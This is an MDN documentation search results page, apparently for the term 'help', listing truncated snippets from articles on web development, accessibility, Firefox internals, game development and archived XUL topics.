note: if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... assessment or further help if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch.
... write a post asking for assessment and/or help at the mdn discourse forum learning category.
...And 4 more matches

Adding features to our bouncing balls demo - Learn web development
note: if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... assessment or further help if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch.
... write a post asking for assessment and/or help at the mdn discourse forum learning category.
...And 4 more matches

Client-side tooling overview - Learn web development
overview: understanding client-side tools next in this article we provide an overview of modern web tooling, what kinds of tools are available and where you’ll meet them in the lifecycle of web app development, and how to find help with individual tools.
... objective: to understand what types of client-side tooling there are, and how to find tools and get help with them.
... though your choice of code editor is certainly a tooling choice, this series of articles will go beyond that, focusing on developer tools that help you produce web code more efficiently.
...And 4 more matches

AsyncTestUtils extended framework
boilerplate add the following code to the top of your test file to import everything you need: load("../../mailnews/resources/loghelper.js"); load("../../mailnews/resources/asynctestutils.js"); load("../../mailnews/resources/messagegenerator.js"); load("../../mailnews/resources/messagemodifier.js"); load("../../mailnews/resources/messageinjection.js"); if the directory where you are adding the tests does not have a head_*.js file that has the two following lines, add them at the top of your test file (before the lines shown above): load("../../mailnews/resources/maildirservice.js"); load("..
... most of the things you will want to do already have helper functions that take care of all of this, so all you need to do is pass their return values through.
... helpers for the asynchronous function contract it can be annoying to have to write interface boilerplate just to call async_driver.
...And 4 more matches

Index
for example, invoking thunderbird's help | what's new menu option opens a tab that displays web content.
...this reference will help you track those events down and learn how to use them.
...bug 493414), but in the meantime, it would be helpful to be able to get useful output on stderr about exceptions, events and pretty-printed objects.
...And 4 more matches

HTML attribute: rel - HTML: Hypertext Markup Language
not allowed annotation annotation help link to context-sensitive help.
... external resource not allowed not allowed prerender specifies that the user agent should preemptively fetch the target resource and process it in a way that helps deliver a faster response in the future.
...useful for resources the user will likely need, it helps reduce latency and thereby improves performance when the user does access the resources as the browser preemptively performed dns resolution for the origin of the specified resource.
...And 4 more matches

Performance fundamentals - Web Performance
in the context of open web apps, this document explains in general what performance is, how the browser platform helps improve it, and what tools and processes you can use to test and improve it.
... specific coding tips for application performance the following practical tips will help improve one or more of the application performance factors discussed above.
...it helps a lot to simplify your look-and-feel and move a proxy element around when you drag and drop.
...And 4 more matches

HTML: A good basis for accessibility - Learn web development
the goal isn't "all or nothing." however, — every improvement you can make will help the cause of accessibility.
...s, and a large head with lots of sharp teeth." title="the mozilla red dinosaur"> <img src="dinosaur.png" aria-labelledby="dino-label"> <p id="dino-label">the mozilla red tyrannosaurus rex: a two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.</p> the first image, when viewed by a screen reader, doesn't really offer the user much help — voiceover for example reads out "/dinosaur.png, image".
... it reads out the filename to try to provide some help.
...And 3 more matches

HTML: A good basis for accessibility - Learn web development
the goal isn't "all or nothing." however, — every improvement you can make will help the cause of accessibility.
...s, and a large head with lots of sharp teeth." title="the mozilla red dinosaur"> <img src="dinosaur.png" aria-labelledby="dino-label"> <p id="dino-label">the mozilla red tyrannosaurus rex: a two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.</p> the first image, when viewed by a screen reader, doesn't really offer the user much help — voiceover for example reads out "/dinosaur.png, image".
... it reads out the filename to try to provide some help.
...And 3 more matches

WAI-ARIA basics - Learn web development
wai-aria is a technology that can help with such problems by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on.
...in these situations, aria can help to provide what's missing with a combination of roles like button, listbox, or tabgroup, and properties like aria-required or aria-posinset to provide further clues as to functionality.
...for now though, let's look at how aria can help with dynamic content updates.
...And 3 more matches

Advanced form styling - Learn web development
if you look at the reference page you'll see a lot of different possible values listed for -webkit-appearance, however by far the most helpful value, and probably the only one you'll use, is none.
...in the article how to build custom form controls you will see how to do it on your own, but there are some very useful libraries out there that can help you: uni-form is a framework that standardizes form markup, styling it with css.
... formalize is an extension to common javascript frameworks (such as jquery, dojo, yui, etc.) that helps to normalize and customize your forms.
...And 3 more matches

Test your skills: JSON - Learn web development
if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... note: in the example below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
... assessment or further help you can practice these examples in the interactive editor above.
...And 3 more matches

TypeScript support in Svelte - Learn web development
even if you are not planning to adopt it, this article will be useful for allowing you to learn what it has to offer and help you make your own decision.
...the goal of typescript is to help catch mistakes early through its type system and make javascript development more efficient.
... no replacement for automatic tests: even though types might help you catch several bugs, typescript is not a true replacement for a comprehensive suite of automated tests.
...And 3 more matches

Command line crash course - Learn web development
viewing the command line for the first time can be a daunting experience: a blank screen and a blinking cursor, with very little obvious help available on what to do.
...this is why we are providing this chapter — to help you get started in this seemingly unfriendly environment.
... help newcomers to web development format their code in best-practice fashion.
...And 3 more matches

Developer guide
this guide provides information that will not only help you get started as a mozilla contributor, but that you'll find useful to refer to even if you are already an experienced contributor.
... for new mozilla developers a directory of articles which are particularly helpful for new mozilla developers.
... managing multiple profiles when working with prerelease versions of firefox, it's often helpful to have multiple firefox profiles, such as one for each channel, or for different kinds of testing.
...And 3 more matches

Overview of Mozilla embedding APIs
nsmemory nsmemory::alloc nsmemory::realloc nsmemory::free this helper class provides static accessors to the global nsmemory service.
... ns_convertasciitoucs2 this is a helper class which converts an ascii string into a ucs2 string.
... do_queryinterface this is a helper class which works in conjunction with nscomptr to perform a simplified call to nsisupports::queryinterface(...) with a typesafe assignment.
...And 3 more matches

Getting Started with Chat
posting a message like "help!" is not particularly helpful.
... asking a good question will result in a better experience for both you and the person trying to help.
...nickserv also automatically elevates all registered users to operators when they sign on.the following are some helpful commands which can be used by nickserv: /msg nickserv register password email this registers your nickname with the server.
...And 3 more matches

Translation phase
the l10n tools are meant to help you maintain your localized content from release to release and leverage already localized materials when localizing new content.
...follow the tutorials to help you decide which l10n tool fits your specific needs.
... mozilla translator am offline, stand-alone, java-based l10n tool that helps you translate and integrates with your repositories.
...And 3 more matches

Gecko Profiler FAQ
for this purpose you should try to use a native profiler on your platform of choice (for example xperf/vtune on windows, instruments on osx, and perf/zoom on linux.) one workaround is to break the hot function into several explicitly-non-inline helpers, recompile, and re-profile.
...we don’t have a script that combines profiles, but i can help you write one if you’re interested.
...i can help you add one, though.
...And 3 more matches

Index
9 hacking tips spidermonkey this page list a few tips to help you investigate issues related to spidermonkey.
... 29 js::callargs jsapi reference, reference, référence(2), spidermonkey js::callargs is helper class encapsulating access to the callee, this value, arguments, and argument count for a function call.
...this can be helpful if funobj is an extant function that you wish to use as if it were enclosed by a newly-created global object.
...And 3 more matches

Mozilla internal string guide
as a result, you cannot assign a 8-bit string to a 16-bit string without some kind of conversion helper class or routine.
... there are also a number of concrete classes that are created as a side-effect of helper routines, etc.
... helper classes and functions converting cocoa strings use mozilla::copycocoastringtoxpcomstring() in mozilla/macstringhelpers.h to convert cocoa strings to xpcom strings.
...And 3 more matches

Interfacing with the XPCOM cycle collector
in this stage the collector repeatedly asks each candidate for a singleton cycle-collection helper class, and if that helper exists, the collector asks the helper to describe the candidate's (owned) children.
...in this stage the collector walks through the garbage objects it has found, again consulting with their helper objects, asking the helper objects to "unlink" each object from its immediate children.
... it only traverses objects that return a helper object when qi'ed to nsicyclecollectionparticipant.
...And 3 more matches

Web Audio API - Web APIs
there's also a basic concepts behind web audio api article, to help you understand the way digital audio works, specifically in the realm of the api.
...so if some of the theory doesn't quite fit after the first tutorial and article, there's an advanced tutorial which extends the first one to help you practise what you've learnt, and apply some more advanced techniques to build up a step sequencer.
... dynamicscompressornode the dynamicscompressornode interface provides a compression effect, which lowers the volume of the loudest parts of the signal in order to help prevent clipping and distortion that can occur when multiple sounds are played and multiplexed together at once.
...And 3 more matches

Using HTML sections and outlines - Developer guides
the html5 specification introduced several semantic sectioning elements to help organize the structure of documents.
...by contrast, the <nav> sectioning element more clearly describes to browsers and other devices the content contained: links or other navigational structures to help users move through and understand where they are in a site's or page's content.
... <article> <h1>how to become an mdn contributor</h1> <p> do you want to help protect the web?....
...And 3 more matches

<input type="email"> - HTML: Hypertext Markup Language
as such, the email input type can make your job as a web developer much easier since it can help simplify your work when building the user interface and logic for e-mail addresses.
...this can help avoid cases in which the user mistypes their address, or provides an invalid address.
... some examples of valid strings when multiple is specified: "" "me@example" "me@example.org" "me@example.org,you@example.org" "me@example.org, you@example.org" "me@example.org,you@example.org, us@example.org" some examples of invalid strings: "," "me" "me@example.org you@example.org" placeholders sometimes it's helpful to offer an in-context hint as to what form the input data should take.
...And 3 more matches

Optimizing startup performance - Web Performance
this article offers tips and suggestions to help you achieve that goal, both when writing a new app and when porting an app from another platform to the web.
...the most important thing to do to try to help with the main code's startup process is to refactor the code into small pieces that can be done in chunks interspersed across multiple calls to your app's main loop, so that the main thread gets to handle input and the like.
... emscripten provides an api to help with this refactoring; for example, you can use emscripten_push_main_loop_blocker() to establish a function to be executed before the main thread is allowed to continue.
...And 3 more matches

Web Performance
there are tools, apis, and best practices that help us measure and improve web performance.
...in the context of open web apps, this document explains in general what performance is, how the browser platform helps improve it, and what tools and processes you can use to test and improve it.performance monitoring: rum vs synthetic monitoringsynthetic monitoring and real user monitoring (rum) are two approaches for monitoring and providing insight into web performance.
...to understand how to improve performance and perceived performance, it helps to understand how the browser works.recommended web performance timings: how long is too long?there are no clear set rules as to what constitutes a slow pace when loading pages, but there are specific guidelines for indicating content will load (1 second), idling (50ms), animating (16.7s) and responding to user input (50 to 200ms).the business case for web performanceyou know web performance is important, but how do you convince clients and management to invest in performance and make it a priority.
...And 3 more matches

Promises - Archive of obsolete content
this interface replaces the previous, complicated xpcom nsifile and streams apis, and their related javascript helper modules.
... notifyuser(resp.target.responsetext); }); example using promise-based helper the following example relies on the helper function defined below.
... yield db.close(); } }); promise wrappers and helpers the following are some example promise-based wrappers for common callback-based asynchronous apis.
...And 2 more matches

A XUL Bestiary - Archive of obsolete content
in the example above, the chrome is simply a skin file to be loaded into the xul file, but the chrome can also be used to load whole chromes, as when a <menuitem> in one window brings up a new chrome: <menuitem value="mozilla help" oncommand="window.opendialog('chrome://help/content/help.xul', '_blank', 'chrome,all,dialog=no')" /> in this example, the chrome url is being used to point to a chrome within the package hierarchy of the mozilla application.
... a help chrome defined in mozilla/bin/chrome/help/ is being invoked from the help menu.
...in other words, a chrome url like the global pointer above picks up a file called global.css, and the help pointer above could also be written as chrome://help/content, because the name of the package itself is "help." viewing chromes other than mozilla's there is a special flag you can use to start mozilla with some chrome other than the default.
...And 2 more matches

dialog - Archive of obsolete content
attributes buttonaccesskeyaccept, buttonaccesskeycancel, buttonaccesskeydisclosure, buttonaccesskeyextra1, buttonaccesskeyextra2, buttonaccesskeyhelp, buttonalign, buttondir, buttondisabledaccept, buttonlabelaccept, buttonlabelcancel, buttonlabeldisclosure, buttonlabelextra1, buttonlabelextra2, buttonlabelhelp, buttonorient, buttonpack, buttons, defaultbutton, title properties buttons, defaultbutton methods acceptdialog, canceldialog, centerwindowonscreen, getbutton, movetoalertposition examples <?xml version="1.0"?> <?xml-style...
... buttonaccesskeyhelp type: string the access key to use for the "help" button.
... buttonlabelhelp type: string the label to appear on the "help" button.
...And 2 more matches

Extentsions FAQ - Archive of obsolete content
just drag them there from the toolbar customisation window, like you would when adding buttons to the toolbars." option #4 install toolbar control <http://webdesigns.ms11.net/chromeditp.html> asking for help with getting an extension to process windows messages.
... no confirmation from the question asker on whether this answer was helpful in solving their problem.
... these are called "grippies" <https://addons.mozilla.org/firefox/2242/> this extension brings grippies back to firefox (and thunderbird!) is there any way to write a regular extension that returns a "dummy" object when an instance of "@mozilla.org/helperapplauncherdialog;1" is created?
...And 2 more matches

3D games on the Web - Game development
there's an ongoing effort on releasing webgl 2.0 (based on opengl es 3.0) in the near future, which will bring many improvements and will help developers build games for the modern web using current, powerful hardware.
... the rise of libraries and frameworks coding raw webgl is fairly complex, but you'll want to get to grips with it in the long run, as your projects get more advanced (see our webgl documentation to get started.) for real-world projects you'll probably also make use of a framework to speed up development and help you manage the project you're working on.
... using a framework for 3d games also helps optimize the performance as a lot is taken care of by the tools you use, so you can focus on building the game itself.
...And 2 more matches

Desktop gamepad controls - Game development
you could also create a helper function that would assign proper names to the listed buttons, so for example istead of checking out if gamepadbuttonpressedhandler(3) is pressed, you could do a more descriptive check: gamepadbuttonpressedhandler('dpad-right').
...e) { if(!this.textgamepad.visible) { this.textgamepad.visible = true; } gamepadapi.update(); if(gamepadapi.buttons.pressed('start')) { // start the game } if(gamepadapi.buttons.pressed('x')) { // turn on/off the sounds } if(gamepadapi.buttons.pressed('y','hold')) { if(!this.screengamepadhelp.visible) { this.screengamepadhelp.visible = true; } } else { if(this.screengamepadhelp.visible) { this.screengamepadhelp.visible = false; } } } } when pressing the start button the relevant function will be called to begin the game, and the same approach is used for turning the audio on and off.
... there's an option wired up to show screengamepadhelp, which holds an image with all the button controls explained — if the y button is pressed and held, the help becomes visible; when it is released the help diappears.
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2D maze game with device orientation - Game development
the phaser framework provides you with a set of tools that will speed up development and help handle generic tasks needed to complete the game, so you can focus on the game idea itself.
...without the framework, to add the canvas element to the page, you would have to write something like this inside the <body> tag: <canvas id='game' width='320' height='480'></canvas> the important thing to remember is that the framework is setting up helpful methods to speed up a lot of things like image manipulation or assets management, which would be a lot harder to do manually.
...ate: function() { this.game.scale.scalemode = phaser.scalemanager.show_all; this.game.scale.pagealignhorizontally = true; this.game.scale.pagealignvertically = true; this.game.state.start('preloader'); } }; the main ball object is defined and we're adding two variables called _width and _height that are the width and the height of the game canvas — they will help us position the elements on the screen.
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CSS building blocks - Learn web development
the aim here is to provide you with a toolkit for writing competent css and help you understand all the essential theory, before moving on to more specific disciplines like text styling and css layout.
...as you progress in your study and begin to work with layout, an understanding of writing modes will be very helpful to you, therefore we will introduce them in this article.
...understanding how big the different features in your design will be is important, and in this lesson, we will summarize the various ways elements get a size via css and define a few terms around sizing that will help you in the future.
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HTML forms in legacy browsers - Learn web development
fortunately, there are a few tricks to know that can help you to solve most of the problems caused by legacy browsers.
... learn about the issues to understand common patterns, it helps to read browser documentation.
...there are other resources that can be amazingly helpful: browser vendor documentation mozilla: you're in the right place, just browse mdn microsoft: internet explorer standards support documentation webkit: because there are several different editions of this engine, things are a little trickier.
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Responsive images - Learn web development
previous overview: multimedia and embedding next in this article, we'll learn about the concept of responsive images — images that work well on devices with widely differing screen sizes, resolutions, and other such features — and look at what tools html provides to help implement them.
... this helps to improve performance across different devices.
...the standard <img> element traditionally only lets you point the browser to a single source file: <img src="elva-fairy-800w.jpg" alt="elva dressed as a fairy"> we can however use two new attributes — srcset and sizes — to provide several additional source images along with hints to help the browser pick the right one.
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Video and audio content - Learn web development
fortunately, there are things you can do to help prevent this from being a problem.
...see choosing the right container in media container formats (file types) for help selecting the container file format best suited for your needs; similarly, see choosing a video codec in web video codec guide and choosing an audio codec in web audio codec guide for help selecting the first media codecs to use for your content and your target audience.
... refer to our guide to media types and formats for help selecting the best containers and codecs for your needs, as well as to look up the right mime types to specify for each.
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Making decisions in your code — conditionals - Learn web development
imagine a child being asked for help with a chore by their mother or father.
...if you help me by going and doing the shopping, i'll give you some extra allowance so you can afford that toy you wanted." in javascript, we could represent this like so: let shoppingdone = false; if (shoppingdone === true) { let childsallowance = 10; } else { let childsallowance = 5; } this code as shown always results in the shoppingdone variable returning false, meaning disappointment for our poor child.
... logical operators: and, or and not if you want to test multiple conditions without writing nested if...else statements, logical operators can help you.
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Getting started with Ember - Learn web development
ember also has immense backwards and forwards compatibility to help businesses stay up to date with the latest versions of ember and latest community-driven conventions.
... ember has clear conventions that are useful for enforcing consistency and helping team members get up to speed quickly.
...in ember, opinions are a set of conventions that help increase the efficiency of developers at the cost of having to learn those conventions.
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Ember resources and troubleshooting - Learn web development
further resources ember.js guides tutorial: super rentals ember.js api documentation ember.js discord server — a forum/chat server where you can meet the ember community, ask for help, and help others!
... see also: reactiveconf 2017: secrets of the glimmer vm what is the state of the mut helper?
... there have been a coupleof new ideas put together into the form of addons that use the public apis, ember-set-helper and ember-box.
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Handling common JavaScript problems - Learn web development
browser developer tools browser developer tools have many useful features for helping to debug javascript.
... web workers api for running javascript in a separate thread, helping to improve performance.
...if an error occurs in the loading of the script, we still call the function, but with a custom error that we can retrieve to help debug a problem if it occurs.
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Package management basics - Learn web development
a bundle is the term that’s generally used to refer to a single file on your web server that contains all the javascript for your software — typically compressed as much as possible to help reduce the time it takes to get your software downloaded and displayed in your visitors’ browser.
...the important difference is that a lot of the helpful features you will use in development are not needed in the final site, so will be stripped out for production, e.g.
...though far from exhaustive, these are some of the common web development features that are very helpful at the development stage, but are not very useful in production.
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Debugging on Mac OS X
see building firefox for macos if you need help creating your own build.
... also in the "arguments" panel, you may want to add an environment variable moz_debug_child_process set to the value 1 to help with debugging e10s.
...p source directory, the object directory or else the dist/bin subdirectory of the object directory, then adding the following setting to your $home/.lldbinit is sufficient: settings set target.load-cwd-lldbinit true however, if you will run lldb from a different directory, or if you will be running it indirectly by debugging in xcode (xcode always runs lldb from "/"), then this setting will not help you.
...And 2 more matches

ESLint
in order to help people write standard-compliant code from the start and avoid wasting time during code reviews, a set of eslint configuration files have been added to the code base so that javascript can be analyzed automatically.
...meeting these rules before review will help reduce the amount of review time, and the revisions necessary to have a review granted.
... setting up eslint ./mach eslint --setup running eslint eslint can be run via: ./mach lint -l eslint you can limit running it to a specific directory with: ./mach lint -l eslint browser/components or work directory changes: ./mach lint -l eslint -w or outgoing commits only: ./mach lint -l eslint -o see ./mach eslint --help for more options when running eslint.
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Eclipse CDT
for that to work you also either need to find the existing bindings for that key combination (using the bindings column to sort by key combination helps with this) and remove them, or else you need to make your binding very specific by setting the "when" field to "c/c++ editor" instead of the more general "editing text".
... this can be useful if you need to get certain bug fixes, or to help with testing to make sure that new eclipse bugs that affect its use with mozilla don't get shipped.
... from eclipse's "help" menu select "install new software...", then in the "install" window that opens, click "available software sites".
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Mozilla Development Strategies
this article offers some strategies and suggestions to help developers stay productive.
... of course, our documentation is a wiki; you can really help by updating the documentation yourself.
... even if you're not comfortable with your writing skills, keep in mind that our helpful, happy documentation gnomes will follow along behind you and clean up for you.
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Mozilla projects on GitHub
asknot the what can i do for mozilla web site, which helps you figure out how you can contribute to mozilla.
... bugsahoy a web page to help new mozilla contributors identify bugs to fix.
... bugzilla-dashboard a convenient dashboard to help you get an overview of your bugs.
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SpiderMonkey Build Documentation
refer the release notes under command line tools -> new features the release notes also states that this compatibility package will no longer be provided in the near future, so the build system on macos will have to be adapted to look for headers in the sdk until then, the following should help, open /library/developer/commandlinetools/packages/macos_sdk_headers_for_macos_10.14.pk this builds an executable named js in the directory build-release/dist/bin.
... you can test it with dist/bin/js --help, which displays a help page.
... this can help debug memory leaks and other memory-related problems.
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Web Replay
time travel features this section describes extensions to the developer tools that use time travel to help debug a recording/replaying tab.
... timeline the timeline is shown above the developer tools and provides several features to help with navigating the recording: the timeline changes color depending on whether the tab is currently recording (red) or replaying (blue).
... devtools.recordreplay.logging when enabled, firefox will log web replay's internal actions to the terminal, which is helpful when debugging hangs and crashes.
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WebReplayRoadmap
to that end, this document will be revised over time as we find new and better ways of helping developers.
... this section describes some analyses that could be performed and be helpful for developers who are either debugging a problem, or trying to understand or improve a complex code base.
... comparing executions (not yet implemented) comparing the behavior of a recording that exhibits a bug with a second recording that doesn't exhibit the bug should help with quickly locating the source of the problem.
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Mozilla Projects
compare-locales compare-locales is a python script that helps localizers to check their work without running firefox or another application.
...david baron that helps extension and chrome developers to find memory leaks.
... shumway this article will help you understand shumway — mozilla's open standards-based flash renderer — and what it means for the community of developers currently creating the adobe flash platform.
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XML Extras
if you'd like to help out with qa, you can do one of the following: sign up as the qa owner for any of the implemented components.
... the qa owner will manage the tests associated with their component, act as qa contact for related bugs and help with regression testing.
... how can i help?
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nsIAccessibleEvent
event_help_change 0x000e 0x000b an object's help has changed.
... event_contexthelp_start 0x0020 0x001d a window has entered context-sensitive help mode.
... event_contexthelp_end 0x0021 0x001e a window has exited context-sensitive help mode.
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nsIClassInfo
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsisupports gethelperforlanguage(in pruint32 language); void getinterfaces(out pruint32 count, [array, size_is(count), retval] out nsiidptr array); attributes attribute type description classdescription string a human readable string naming the class, or null.
...obsolete since gecko 2.0 methods gethelperforlanguage() get a language mapping specific helper object that may assist in using objects of this class in a specific lanaguage.
... for example, if asked for the helper for nsiprogramminglanguage::javascript this might return an object that can be nsisupports.queryinterface()'d into the nsixpcscriptable interface to assist xpconnect in supplying javascript specific behavior to callers of the instance object.
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Xptcall Porting Status
he is hoping that others will help test the changes using these two compilers on the various platforms where this same code is used.
...hopefully the comments in the code are detailed enough to help people attempting a port.
... <font color="white">help!</font> beos ppc - - <font color="white">done</font> compaq tru64 unix (digital unix) steve streeter <streeter@zk3.dec.com> code passes the tests and is checked in.
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Web Console remoting - Firefox Developer Tools
this nodeactor can then be referred to by the $0 jsterm helper.
... the response packet: { "from": "conn0.console9", "input": "document", "result": { "type": "object", "classname": "htmldocument", "actor": "conn0.consoleobj20" "extensible": true, "frozen": false, "sealed": false }, "timestamp": 1347306273605, "exception": null, "exceptionmessage": null, "helperresult": null } exception holds the json-ification of the exception thrown during evaluation.
... helperresult is anything that might come from a jsterm helper result, json stuff (not content objects!).
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Web applications and ARIA FAQ - Accessibility
it also provides additional structural information, helping authors identify landmarks, regions, and grids on their pages.
...from the browser's point of view, the native html defines the semantic meaning and behavior of an element, with aria attributes acting as a layer on top to help support the at api.
... several inspecting and debugging tools exist to help you test aria in action: object inspector on windows accessibility inspector on os x accprobe on linux firebug's dom inspector the accessibility inspector for firebug the audits tab in chrome devtools there are several free or open source screen readers that can be used to do hands-on testing with aria.
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Text labels and names - Accessibility
examples the title for the reference article about the <title> element is as follows: <title>&lt;title&gt;: the document title element - html: hypertext markup language</title> another example might look like so: <title>fill in your details to register — mygov services</title> to help the user, you can update the page title value to reflect significant page state changes (such as form validation problems): <title>2 errors — fill in your details to register — mygov services</title> see also <title> embedded content must be labeled make sure that elements that embed content have a title attribute that describes the embedded content.
...a descriptive title helps users of assistive technology understand what the element is showing.
... users of assistive technology find this description helpful when trying to work out the overall purpose of the group.
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Index - Developer guides
found 43 pages: # page tags and summary 1 developer guides api, guide, landing, web these articles provide how-to information to help make use of specific web technologies and apis.
... 20 media events intermediate, media various events are sent when handling media that are embedded in html documents using the <audio> and <video> elements; this section lists them and provides some helpful information about using them.
... 29 index guide, index found 31 pages: 30 introduction to web development beginner, css, codingscripting, development, html, javascript, web whether you're just getting started with web development, or are just expanding your horizons into new realms of web awesomeness, the links here should help you get started.
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Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
fortunately, there are tools available that can help you.
... while they can't replace having a good designer helping you make these decisions, they can definitely get you started.
...some of these are even specifically designed to help with this sort of work.
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<input type="url"> - HTML: Hypertext Markup Language
as a general rule, you should avoid using them unless it can't be helped.
...this can help avoid cases in which the user mis-types their web site's address, or provides an invalid one.
... placeholders sometimes it's helpful to offer an in-context hint as to what form the input data should take.
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<table>: The Table element - HTML: Hypertext Markup Language
/tr> </table> <p>simple table with caption</p> <table> <caption>awesome caption</caption> <tr> <td>awesome data</td> </tr> </table> table { border-collapse: collapse; border-spacing: 0px; } table, th, td { padding: 5px; border: 1px solid black; } accessibility concerns captions by supplying a <caption> element whose value clearly and concisely describes the table's purpose, it helps the people decide if they need to read the rest of the table content or skip over it.
... this helps people navigating with the aid of assistive technology such as a screen reader, people experiencing low vision conditions, and people with cognitive concerns.
...</code></td> <td><code>hsla(180, 90%, 64%, 1)</code></td> <td><code>rgba(81, 246, 246, 1)</code></td> </tr> <tr> <th scope="row">goldenrod</th> <td><code>#f6bc57</code></td> <td><code>hsla(38, 90%, 65%, 1)</code></td> <td><code>rgba(246, 188, 87, 1)</code></td> </tr> </tbody> </table> providing a declaration of scope="col" on a <th> element will help describe that the cell is at the top of a column.
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Performance Monitoring: RUM vs synthetic monitoring - Web Performance
controlling for environmental variables is helpful in understanding where performance bottlenecks have been occurring and identifying the source of any performance issues.
...if an issue arises in production, synthetic monitoring can provide insight, helping identify, isolate, and resolve problems before they negatively user experience.
...rum helps identify how an application is being used, including the geographic distribution of users and the impact of that distribution on the end user experience.
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Mozilla Documentation Roadmap - Archive of obsolete content
let's look into the resources that have helped us the most.
...it's incredibly comprehensive, and its underlying wiki technology makes it easy to expand and evolve with the help of the community.
...there are several help and development channels where you can discuss problems and other topics in real time with the people that have the answers.
...problems using irc include: finding help when you have a big timezone difference with the united states, and no records of previously asked questions and their answers.

MMgc - Archive of obsolete content
only do this if you know for certain that there are no other references, and you want to help the gc along: // optimization: get rid of myobject now, because we know there are no other // references, so no need to wait for gc to clean it up.
...finding missing write barriers there are some automatic aids in the mmgc library which can help you find missing write barriers.
... this is where garbage collection helps.
...furthermore we can run this check even more frequently than every mark increment, for instance every time our gc memory allocators request a new block from our primary allocator (the way our extremely helpful greedy collection mode works).

Getting Started - Archive of obsolete content
skin\classic\help help contains all the files for theming the help dialog window.
...into this directory put a zip archive called my_theme.jar containing navigator, global, communicator, editor, help, messenger, messenger-newsblog and mozapps directories from above.
...skin global my_theme jar:chrome/my_theme.jar!/global/ skin mozapps my_theme jar:chrome/my_theme.jar!/mozapps/ skin messenger my_theme jar:chrome/my_theme.jar!/messenger/ skin messenger-newsblog my_theme jar:chrome/my_theme.jar!/messenger-newsblog/ skin communicator my_theme jar:chrome/my_theme.jar!/communicator/ skin help my_theme jar:chrome/my_theme.jar!/help/ skin navigator my_theme jar:chrome/my_theme.jar!/navigator/ skin editor my_theme jar:chrome/my_theme.jar!/editor/ save the file and exit the text editor.
...more after i get done with some tests repackaging jar now all you need to do is repackage a jar file with the following directory structure, using your favorite archive manager to create a zip archive: /chrome/my_theme.jar!/communicator/* /chrome/my_theme.jar!/editor/* /chrome/my_theme.jar!/global/* /chrome/my_theme.jar!/help/* /chrome/my_theme.jar!/messenger/* /chrome/my_theme.jar!/messenger-newsblog/* /chrome/my_theme.jar!/mozapps/* /chrome/my_theme.jar!/navigator/* /chrome.manifest /install.rdf /icon.png /preview.png make sure not to just zip up the my_theme parent directory since that will cause the drag and drop install in the next section to fail without error messages.

Document Loading - From Load Start to Finding a Handler - Archive of obsolete content
nsiexternalhelperappservice if we can't do anything else with a load, we give it to the nsiexternalhelperappservice and let it look for a helper app, put up the "what do i do now?" dialog, and so forth.
... bird's eye view <map id="loaddiagrammap" name="loaddiagrammap"><area alt="(13) docontent()" coords="534,239,715,300" href="#nsiexternalhelperappservice::docontent"> <area alt="(10) getcategoryentry()" coords="575,418,821,418,821,455,629,455,629,484,575,484" href="#categorymanager" shape="poly"> <area alt="(12)" coords="539,133,583,163" href="#stream-converter"> <area alt="(11)" coords="485,133,537,163" href="#contenthandler"> <area alt="(9)" coords="445,132,484,165" href="#nsdocumentopeninfo::dispatchcontent"> <area alt="(8)" coords="405,133,439,162" href="#onstartrequest-innards"> <area alt="(7) onstartrequest()" coords="639,129,703,129,703,165,833,165,833,204,639,204" href="#onstartrequest" shape="poly"> <area alt="(6) asyncopen()" coords="637,121,709,121,709,96,783,96,783,58,637,58" href=...
..."#openuri-innards"> <area alt="(0) registercontentlistener()" coords="37,474,346,474,346,505,88,505,88,535,37,535" href="#registercontentlistener" shape="poly"> <area alt="(3) openuri() (nsuriloader)" coords="5,207,312,269" href="#openuri"> <area alt="(2)" coords="102,114,139,148" href="#internalload"> <area alt="(1) loaduri/onlinkclick" coords="77,5,449,59" href="#loaduri"> <area alt="nsiexternalhelperappservice" coords="527,305,839,339" href="#nsiexternalhelperappservice"> <area alt="category manager" coords="683,467,807,527" href="#nscategorymanager"> <area alt="nsdocumentopeninfo" coords="371,71,635,185" href="#nsdocumentopeninfo"> <area alt="necko" coords="721,113,821,157" href="#necko"> <area alt="nsuriloader" coords="23,335,215,455" href="#nsuriloader"> <area coords="227,515,485,575" hr...
...give the load to the helper app service; this will return an nsistreamlistener that we can use.

JavaScript Client API - Archive of obsolete content
this will help fundamental understanding significantly.
... it will be very helpful to look at an existing sync engine for guidance.
...we're also going to import ''util.js'' as it contains many useful helpers.
... in this case, it is highly recommended to use the utils.makeguid() helper to generate new guids: let newguid = utils.makeguid(); your store object must implement the following methods: itemexists(id) createrecord(id, collection) changeitemid(oldid, newid) getallids() wipe() create(record) update(record) remove(record) you may also find it useful to override other methods of the base implementation, for example applyincomingbatch if the underlying stora...

Metro browser chrome tests - Archive of obsolete content
helper functions the eventutils helper functions are available on the eventutils object defined in the global scope.
... additional metro specific test helpers can be found in /browser/metro/base/tests/mochitest/head.js.
... you may add additional common utils and helpers to head.js.
... be careful about changing existing helpers as changes may impact tests in other libraries.

Supporting private browsing mode - Archive of obsolete content
a private browser listener helper object this helper object registers listeners for private browsing mode changes.
... } } } else if (atopic == "quit-application") { this._os.removeobserver(this, "quit-application"); this._os.removeobserver(this, "private-browsing"); } }, get inprivatebrowsing() { return this._inprivatebrowsing; }, get watcher() { return this._watcher; }, set watcher(val) { this._watcher = val; } }; of special note is the fact that this helper object is designed to not break on versions of firefox without private browsing support (those prior to firefox 3.5).
...using the helper the helper described above is very easy to use.
... simply instantiate the helper, then you can use its inprivatebrowsing flag to detect whether or not private browsing is currently enabled, as shown here: var listener = new privatebrowsinglistener(); if (listener.inprivatebrowsing) { // we are in private browsing mode!

Menus - Archive of obsolete content
</menu> <menu id="help-menu" label="help"> ...
...the following shows a simple help menu.
